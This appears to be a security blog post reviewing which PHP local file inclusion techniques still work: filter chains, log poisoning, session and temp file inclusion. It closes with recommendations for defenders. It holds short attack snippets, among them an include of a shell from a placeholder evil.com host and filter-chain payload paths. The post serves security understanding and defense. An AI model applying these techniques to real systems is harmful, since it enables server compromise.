2 minute read

After publishing my novel LFI technique based on PHP filter chains, I received many questions about whether LFI is still a relevant vulnerability class. In this post, I examine the current state of LFI defenses and what attack surface remains.

The Defense Landscape

PHP 8.x has introduced several changes that reduce LFI risk:

  1. allow_url_include defaults to Off since PHP 5.2, but many legacy configurations still enable it
  2. Null byte injection was fixed in PHP 5.3.4
  3. JIT compilation changes some internal handling of stream wrappers
  4. Fibers (PHP 8.1) do not introduce new LFI vectors

However, php://filter chains remain functional in all current PHP versions because filter chains do not require allow_url_include.

What Still Works

PHP Filter Chains

As I documented in my previous post, filter chains work with allow_url_include=Off. This is because php://filter is a local wrapper, not a URL wrapper. The distinction matters:

// Requires allow_url_include=On
include("http://evil.com/shell.php");
include("php://input");

// Works with allow_url_include=Off
include("php://filter/convert.base64-decode/resource=uploads/image.php");
include("php://filter/convert.iconv.UTF8.CSISO2022KR|.../resource=php://temp");

Log Poisoning

If the application has an LFI vulnerability and logs are readable:

  1. Send a request with PHP code in the User-Agent header
  2. Include the access log: include('/var/log/nginx/access.log')
  3. The PHP code from the log entry executes

This technique has worked since the early days of PHP and remains viable wherever logs are world-readable.

Session File Inclusion

PHP session files contain serialized data. If an attacker can control part of the session data:

  1. Inject PHP code into a session variable
  2. Include the session file: include('/tmp/sess_' . $session_id)

Temp File Inclusion via phpinfo()

If phpinfo() is accessible, the file upload temporary path is revealed. A race condition allows including the temp file before PHP garbage-collects it.

What No Longer Works

  • Null byte injection (/etc/passwd%00) - fixed since PHP 5.3.4
  • Remote file inclusion without allow_url_include - blocked by default
  • expect:// wrapper - rarely compiled in, and requires allow_url_fopen
  • data:// wrapper for include - requires allow_url_include

Framework-Level Protections

Modern PHP frameworks have largely eliminated LFI through architectural choices:

  • Laravel/Symfony: Template engines (Blade/Twig) compile to PHP without using include() with user input
  • WordPress: include() calls use hardcoded paths from the theme/plugin system
  • Slim/Lumen: Router-based templating, no path-based inclusion

The remaining risk is in:

  • Custom PHP applications without frameworks
  • Legacy code from the PHP 4/5 era
  • WordPress/Joomla plugins with poor coding practices
  • PHP-based file managers and CMS systems

Recommendations for Defenders

  1. Never pass user input to include/require - this is the fundamental rule
  2. Use allowlists instead of blocklists for template selection:
    $allowed = ['home', 'about', 'contact'];
    $page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
    include("templates/$page.php");
    
  3. Disable unnecessary PHP wrappers via php.ini:
    allow_url_include = Off
    allow_url_fopen = Off  ; if remote file access not needed
    
  4. Restrict file permissions - log files and session files should not be world-readable
  5. Use open_basedir to restrict file access to the application directory

Conclusion

LFI is not dead. While modern frameworks have reduced the attack surface dramatically, PHP filter chains ensure that any remaining include() with user input is exploitable. The technique requires no special PHP configuration, no writable directories, and no outbound network access.

The “end of LFI” will come not from PHP fixes, but from the natural retirement of legacy code that passes user input to include().